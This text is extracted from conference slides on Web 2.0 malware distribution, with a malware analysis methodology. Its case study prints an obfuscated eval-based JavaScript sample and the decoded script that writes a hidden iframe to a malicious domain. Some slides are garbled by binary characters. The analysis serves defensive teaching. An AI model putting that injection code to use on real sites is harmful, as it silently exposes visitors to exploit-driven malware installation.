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� Disclaimer

� Rumbling Infections – Web 2.0 Malware Ontology �

All contents of this presentation represent my own beliefs and views and do not, unless 
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All contents of this presentation represent my own beliefs and views and do not, unless 
explicitly stated otherwise, represent the beliefs of my current, or any of my previous in 

that effect, employers.



� About Me

• Senior Security Researcher 
Vulnerability Research Labs, COSEINC
http://www.coseinc.com

• Founder , SECNICHE Security.
http://www.secniche.org

• Working in Security Field for Last 7 years
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• Working in Security Field for Last 7 years

• Lead IS Author for InfoSecurity,Hakin9 ,ELSEVIER, USENIX Journals.

• Like to do Bug Hunting. Released Advisories to Forefront  Companies.

• Active Speaker at Security Conferences.
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� Inside MAM  Malware Analysis Methodology
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� Pattern

Understanding The Malware Anatomy

The Dependent Peripherals
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The Dependent Peripherals



� Malware Mess – Global Trifecta
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� Malware Infection Rate 
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� Malware Retrospective and Classification
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Top 5 Malware Categories Top 5 Virus Families
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� Malware - The Impact on Real World
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� Malware Trends – The Attack Base 

� Financial Abuse and Mass Identity Theft

� The Mass Destructor – Botnet Infection and Zombie Hosts

� Exploiting the Link Dependency – Pay Per click Hijacking

� Traffic Manipulation – Open Redirect Vulnerabilities at Large Scale

� Spywares , Crypto virology , Ransom ware etc
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� Distributed Denial of Service – The Service Death Game , Extortion

� Industry Change Semantics – Malware Activation Change Line

� Infection through Browsers and Portable Gadgets – the Biggest Step

� Exploiting Anti Virus Loopholes



� Malware Contributing Issues – Rising Steps

� Publicly Available Malware Source Code

� Malware Distribution Framework such MPACK , NeoSploit etc.

� Unpatched Vulnerabilities and Loosely Coupled Patches

� Demand of Underground Services and Self Exposure

� Global Surveillance Mode and Information Stealing in the Wild
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� Software Discrepancies and Inherited Design Flaws such as Browsers.

� Exploitation at Web Level is Easy as It open a Door to System Level Fallacies.

� Inappropriate Security Solutions Deployed and Irrelevant Security Paradigm

� Botnet Infection – The Easy Way to Launch Diversified Attack 

� Web Sharing and Centralized Work Functionality.



� Malware – Historical Achievements

� 1988 - a Cornell University graduate student named Robert Morris released Morris Worm thereby halting the entire 
networks

� 1999 - David Smith of New Jersey wrote the Melissa virus that replicated through e-mail and infected Microsoft 
Word documents.

� May 4, 2000 – Love You Code Came Out which was both a virus and worm

� On July 19, 2001, the Code Red virus infected more than 20,000 systems within 10 minutes and more than 250,000 
systems in just under 9 hours.
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� 2001 – SirCam worm spread out 

� Tuesday, September 18, 2001, Nimda worm infected hundreds of thousands of computers around the world, using 
some of the most significant attack methods of Code Red II and Melissa.

� 2003 January - Slammer worm infected nearly 75,000 servers in 10 minutes. 2003 August - The worm Blaster, 
Welchia worm, Sobig, and their variants hit the Internet with severe force.

� 2004 - MyDoom and other viruses plague the Internet at unprecedented speeds.

� The Recent Black Shot – Conflicker and its Variants.



� Pattern 

Understanding The Vertical Risk

Web Delivered Malware Impact on Business 
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Web Delivered Malware Impact on Business 

Underground  Market and Malware Flow Model



� Underground Malware Market Business - Statistics 
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� Practical Malware Flow Model 
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� Malware - The Impact on Real World
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� Pattern 

Malware – Sources of Infection 
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Web 2.0

Top 10 + Strategies of Distributing Malware through Web



� Long Live Drive By Download – Base Web Malware Tactic
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� Search Engine Optimization (SEO) – Driven with Malware
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� Messengers – Infection at Instant State 
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� Networking Websites – TWITTER Malware Infection

� Exploiting  the Trust Relationship on Social Networking Websites

� Spreading Malware Content  through Tweets , Scrapping etc

� Chain Reaction – Dwells Very Fast in the context of Website Networks
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� Social Networking – FACEBOOK Malware Applications

� Manipulating the Open API Calls 

� User Centric Control

� Exploiting the Design Fallacies
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� Social Networking – FACEBOOK MAIL Infection
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� Online Media Content – You Tube, GoogleVideos etc !! 
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� Exploiting the Web of Trust – Human Touch
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� Spywares , Ransom Wares and other Variants etc.   
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� Insidious Spamming – Email , Blogs , Redirectors etc   
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� Botnets – Malware Infection at Large Scale 

��������	�
���������������������
�����������
�����




� Direct Malware Hosting – Infected Web Domains
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� System Stringency – Exploiting the Exceptions
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� Malware Kits – Automated Infection
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� Case Study – Safety Labs Malware Infection

� Malware Infecting the Security Service Provider Websites.

____________________________________________________________

It is unfortunate that even the Security Solution Provider is also untouched by the latest Internet 
IFRAME Threats or rather say Infections
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Thousands of websites on internet have been compromised with malicious Iframes which load exploit 
code designed to silently install Trojans onto susceptible victim computers.



� Case Study – Safety Labs Malware Infection
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� Case Study – Safety Labs Malware Infection

OBFUSCATEDJAVA SCRIPT

<SCRIPT LANGUAGE=JAVA SCRIPT>
FUNCTION MDBAN(X){ VAR L=X.LENGTH,B=1024,I,J,R,P=0,S=0,W=0,T=ARRAY(63,9,52,47,48,11,7,35,
59,56,0,0,0,0,0,0,43,14,20,5,61,19,54,36,15,30,32,38,22,44,29,28,12,2,55,45,51,62,25,13,27,3,17,0,0,0,0,16,0,34,
0,58,40,31,60
,49,8,50,4,21,53,1,10,33,41,23,24,37,18,26,57,6,39,46,42);FOR(J=MATH.CEIL(L/B);J>0;J--
){ R='';FOR(I=MATH.MIN(L,B);I>0;I--,L--){{ W
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){ R='';FOR(I=MATH.MIN(L,B);I>0;I--,L--){{ W

|=(T[X.CHARCODEAT(P++)-48])<<S;IF(S){ R+=STRING.FROMCHARCODE(221 Ŵ&255);W>>=8;S-
=2}ELSE{ S=6}}} EVAL(R);}} MDBAN('ZT8M
VN@ZT8UZFKNZYQYUVN8M9Z3VVN@3DQ5YTKCFZUNSPAXDC6AS8UN34AX0TI5M9
QAC0LUYD8C@UQU0LKUZSIYFI8I@2Z@@TE8M8N@FPN39CXHGFKUST0ZMDAXYLY13PL8F3I8MVN5ML

E0DMXICGRAD
F@HC0LUYCX3U0R3Z2KXZLQY830I0LA5SCLXZJXACD8UZGW5YJ0EY2CU@GI5PXH@MTA8076YF2Y8@FQ5
Y7@HD')</SCRIPT><!-- 213.219.250.100 -->



� Case Study – Safety Labs Malware Infection

DEOBFUSCATEDJAVA SCRIPT

(1) DECODED JAVA SCRIPT EVALS()

WINDOW.STATUS = 'DONE';
DOCUMENT.WRITE('<IFRAME NAME=5B8F SRC="HTTP ://3PIGS.INFO /T/?' + MATH.ROUND(MATH.RANDOM() * 
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DOCUMENT.WRITE('<IFRAME NAME=5B8F SRC="HTTP ://3PIGS.INFO /T/?' + MATH.ROUND(MATH.RANDOM() * 
14490) + '5B8F' + '" WIDTH=322 HEIGHT=45 STYLE="DISPLAY:NONE"></IFRAME>') 

(2) DECODED JAVA SCRIPT WRITES RESULT

<IFRAME NAME=5B8F SRC="HTTP ://3PIGS.INFO /T/?58965B8F" WIDTH=322 HEIGHT=45 STYLE="DISPLAY:NONE">
</IFRAME>
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� The Truth - Internet Explorer – Malware’s Best Friend
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� Pattern 

2X Generation - Century Malware Trickeries 
The Methods and Infection Strategies
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� System File Patching and Code Injection

� Reverse Engineering  Primary System Files

� Blatantly Injecting Customized Code on Run time

� System Files – Executables and Libraries are the Major Infection Surface

� State Integrity is Maintained. Execution is Normalized.

Infected Process 
A
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Process A

Function  (A)
Function  (B)

A

Function (A)
Function (B)

Function (M)
Malware
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� Code Interdependency – Malware Adjacency

� Generically Process is termed as Code Resuscitation.

� Multiple Malware Exploitation – Single Event of Infection. High Rate.

� Component based Malware Infection. No Binding in Execution. Tracking and Monitoring.

� Analyzing Self and Dependent Malware Components. Presence 
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� Code Randomization, Obfuscation and Morphing

� Complicating the Signature Matching and Signature Profiling

� Beating the Anti Viruses in their Own Game Theory

� Code Obfuscation – Encryption , Tampering the Source Code etc.

� Code Morphing – Attacking Object Code and Machine Language State
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� Rootkits and System Cloaking 

� Undetectable Installation and Execution of Malicious code.

� Hidden Programs Governing the Control and Working Context of Victim System

� Attacking System Core in a Silent Way. Infection at Kernel Level Primarily.

� Rootkits use System Call Hooking – Redirecting System Call with Hooked Code
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� Exploiting Active X and JavaScript Heaps – Direct Control  

� Transference of Control from Browser Exploitation to System Level

� Spraying the code on JavaScript Heaps and Executing it with Active X Handler

� Unicode String Concatenation with Admissible Customized Shell code  

� Malware Utilizing this Technique to Exploit vulnerabilities at Web Level
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� Escaping What !
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� Pattern 

Inside MAM 
Malware Analysis Methodology
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Malware Analysis Methodology



� Malware Analysis Methodology (MAM)

Overview

This Methodology provide and efficient step of analyzing Malware and its dependent 
Objects

� Malware Information Gathering (MIG) – Peripheral Check

� End Point Communication
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� End Point Communication

� Session Stream Analysis – Deep Inspection

� Behavioral Analysis

� Statistical Analysis 
Reversing the Facets of Malware Binary



� Malware Analysis Methodology (MAM)

� Malware Information Gathering (MIG)

� Generic Information Collection of Portable Executable File used for Malware. Sample Collection.

� String Pattern Matching – Search Engine Hacking for Getting to the Source of Malware

• Malware Domain Names (Ex ru , cn etc) , Uniform Resource Locators (URL)
• Extracting String Signature such as Awards, Bank  Name, Prize , Case, Dollar etc
• Email Addresses used in Malware Executables
• Strings using IP Addresses present in Malware Files
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• Strings using IP Addresses present in Malware Files
• Strings using “Security” , “Credit Card”, “Hacked” etc for holistic Look Up
• Any String that should be looked upon

� Googling Around for filling more Malware Information Database

� Malware Integrity check – The Identifier Scrutiny – Analyzing the Type of Packer Used.

� Malware Capability and Efficiency to beat Anti Virus Functionality

� Code Execution State  Check



� Malware Analysis Methodology (MAM)

� End Point Communication
� Connection State Check

• Communication Break ups within the end points.
• End Point communication flow and file transfer
• Resolved DNS Queries 

� Server Identity checks through communication medium.
• Server Integrity Check by collecting Information ( As mentioned in first Part)
• Traffic Encryption used by Malware to in Packets
• Types of Protocol are being used by a malware
• Server’s Geo Location Check and DNS detail analysis for the Tracing Source
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• Server’s Geo Location Check and DNS detail analysis for the Tracing Source

� Error Generation like Checksum Integrity.
• Traffic Integrity Failure. Packet Data Loss. 
• Error Analysis should be performed to scrutinize the Malware Distribution flow Problems

� Encrypted Data in packets.
• Packet Encryption Check – Implemented at Data Level or IP Level , Malware Characteristic 

� Protocol Switching.
• Protocol Transference and Shifting Check during Runtime flow.



� Malware Analysis Methodology (MAM)

� Session Stream Analysis – Deep Inspection

� Analyzing TCP Stream Session 

• Breaking Inside TCP Sessions – Looking into Success and Failure Components
• Client Server Exchange of Data specifically under TCP Stream
• Context Analysis of Exchanged Data by Malware
• Following the Chain of TCP Analysis to get the Overall Scenario
• Connection Check with Different Resources and Inter Dependency Factor among them.
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� Extracting an Executable from the Raw data

• Main Functionality – Fetching the Executable File Directly from Raw Data.
• Avoid  Other Encoding Mechanisms – Prefer Raw Output
• Search for two byte header MZ ($4D5A in hex) which begins at a certain 

offset to trace the PE

Note : References should be made Appropriately with the Benchmarks



� Malware Analysis Methodology (MAM)

� Behavioral Analysis – Scrutinizing System Fallacies

� Active Debugging

� Black Box Testing Approach

• Monitoring Check –Scrutinizing Victim System (processes, connections, registry)
• Network Traffic Capturing -Start network capture in the host system (or hub)
• Initial System State Integrity -Capture initial status of the victim system
• Malware Execution in VMWARE - Run the malware for an amount of time in the victim system

Windows

•FileMon
•RegMon
•TDIMon
•RegMon
•Task Mgr
•BinText
• TcpView
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• Malware Execution in VMWARE - Run the malware for an amount of time in the victim system
• Process Termination Control -Terminate the process once the initial round is complete
• Final System State Integrity -Capture final status of the victim system
• Information Extraction -Walk through the Collected information
• Analytical and Information Looping –Restating the gathered information

• UNIX/Linux

•/proc
•Top/ps
•Lsof
•Strace/ltrace
•Strings
•Helios
•Wine
•Qmu

Behavior – Ripping off Information by Analyzing Live Environmental 
Impacts



� Malware Analysis Methodology (MAM)

� Statistical Analysis – Reversing the Facets of Malware

Its all about analyzing the code of Malware

• Cryptographic Hash Value check for File Signature
• Portable Executable Identifier Analysis – PEID 
• Virus Scanning – Dissecting the Hidden Code accompanied with Malware Executable
• Detecting the Packers - Peripheral check for Reverse Code Engineering
• Properties Enumeration of Malware Executable
• Portable Executable Characteristics and Format Analysis
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• Portable Executable Characteristics and Format Analysis
• Disassembling the Code



� Pattern 

Case Study 
Win 32 Root kit Downloader Class Malware

��������	�
���������������������
�����������
�����


Win 32 Root kit Downloader Class Malware

Applying MAM – Dissecting PCAP 



� DNS Correspondence – Address Binding Check  
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� HTTP Debugging – Dissecting File Download Requests
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� HTTP Debugging – Dissecting File Download Requests
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� TCP Session Stream – Restructuring the PE File

� -�!������
���������
.�%����$/%�����
�������������

� �������%������������
��'����
���������������%�
����

� �����.�������������-""��
0�'������

� "���	�����������
����
�����%����0�������

��������	�
���������������������
�����������
�����


�����%����0�������

� 	�������������� 
���
��������1�234�5�������(6�
������ �%�����������������
���������������������������%�
����������/ �

� �������������������������
����������������� ������
�(����������(����� �������

� ����� ���������



� Dual Behaviour Analysis – Ending at State (1)
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� Dual Behaviour Analysis – Ending at State (2)
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� Dual Behaviour Analysis – Ending at State (3)
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� Malicious GET and POST Request (1) 
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� Malicious GET and POST Request (2) 
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� Malicious GET and POST Request (3) 
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� Malicious GET and POST Request (4) 
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� Projected Infection – System Level 
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� Demonstration
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Question ( ? ) and Queries ( ! )

Knowledge Sharing !

_________________________________________________
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More Resources and References

• http://www.attackresearch.com

• http://www.trendmicro.com

• http://www.threatpost.com

• http://www.zdnet.com

• http://pentestit.com/tag/analyze-malware/

• http://www.microsoft.com

• http://novirusthanks.org

• http://www.usenix.org
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• http://www.zdnet.com

• http://www.mcafee.com

•http://www.owasp.org

• http://www.symantec.com

• http://www.f-secure.com



Special thanks to COSEINC for pushing me to do more research.

__________________________________________________________________________________

COSEINC is a Singapore based and privately funded company dedicated to providing highly specialized information security 
services to our clients. It is a young and dynamic company whose constitution are computer security experts, from diverse 

backgrounds and geographies, with distinguished credentials and experience.backgrounds and geographies, with distinguished credentials and experience.

http://www.coseinc.com

SyScan Security Conference –http://www.syscan.org

___________________________________________________________________________________

Gracious Thanks to my Friend Rohit B (SCHAP) for sharing knowledge and collective working.
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